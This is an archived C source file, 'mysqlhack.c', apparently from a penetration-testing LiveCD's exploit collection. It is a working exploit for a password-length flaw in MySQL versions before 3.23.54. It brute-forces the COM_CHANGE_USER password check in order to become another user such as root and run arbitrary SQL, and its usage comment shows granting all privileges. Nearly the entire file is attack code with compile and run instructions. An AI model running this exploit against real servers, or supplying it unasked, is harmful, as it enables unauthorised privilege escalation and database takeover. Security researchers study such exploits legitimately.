home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / mysqlhack.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  74 lines

  1. /* MySql < 3.23.54 COM_CHANGE_USER password length vuln hack :P
  2.  *
  3.  *  Discovered by e-matters
  4.  *  Advisory: http://security.e-matters.de/advisories/042002.html
  5.  *
  6.  * Usage: mysqlhack "host" "valid_user" "valid_pass" "user_to_become" "sql_command_to_execute_as_user_to_become"
  7.  * dreyer <dreyer@subdimension.com>
  8.  * Version 0.1
  9.  *
  10.  * What you need:
  11.  * A valid user loginable from this host
  12.  * Password for that user
  13.  * Target user loginable from this host (sql will be executed as this user)
  14.  *
  15.  * Compile: gcc -o mysqlhack mysqlhack.c -lmysqlclient 
  16.  * i.e.:
  17.  * ./mysqlhack localhost user pass root "grant all privileges on *.* to 'user';"
  18.  *
  19.  * Greetings to: jaxp, kicat, and all people in #ngsec @ irc-hispano network
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <mysql/mysql.h>
  25.  
  26.  
  27.  
  28. int main(int argc, char **argv)
  29. {
  30.   MYSQL *sock,mysql;
  31.   char abuf[200];
  32.   char  *pass;
  33.   int result,i;
  34.  
  35.   printf("[+] MySql <3.23.54 SUer by \033[1;33mdreyer@subdimension.com\033[0m\n");
  36.   memset (abuf,0,sizeof(abuf));
  37.   if (argc != 6)
  38.   {
  39.     fprintf(stderr,"usage : mysqlhack <host> <user> <pass> <user_dest> <sql_command>\n\n");
  40.     exit(1);
  41.   }
  42.  
  43.   printf("[+] Conecting...\n");
  44.   mysql_init(&mysql);
  45.   if (!(sock = mysql_real_connect(&mysql,argv[1],argv[2],argv[3],NULL,3306,NULL,0)))
  46.   {
  47.     fprintf(stderr,"[-] Couldn't connect to engine!\n%s\n",mysql_error(&mysql));
  48.     perror("");
  49.     exit(1);
  50.   }
  51.   printf("[+] Begining attack...\n");
  52.  
  53.   strcpy(abuf,argv[4]);
  54.   pass=abuf+strlen(abuf)+1;
  55.   for(i=64;i<97;i++) {
  56.     *pass=i;
  57.     net_clear(&sock->net);
  58.     if (net_write_command(&sock->net,COM_CHANGE_USER, abuf,strlen(abuf)+3)) 
  59.     {
  60.          printf("[-] Can't send command to server.\n");
  61.      }
  62.     if (my_net_read(&sock->net)==packet_error) 
  63.        printf("Packet Error\n");
  64.     if(!mysql_query(sock,argv[5]))
  65.     {
  66.            printf("[+] Ok command executed '%s'\n",argv[5]);
  67.            mysql_close(sock);
  68.            exit(0);
  69.     }
  70.   }
  71.   printf("[-] Sorry, attack didn't succeed\n");
  72.   mysql_close(sock);
  73. }
  74.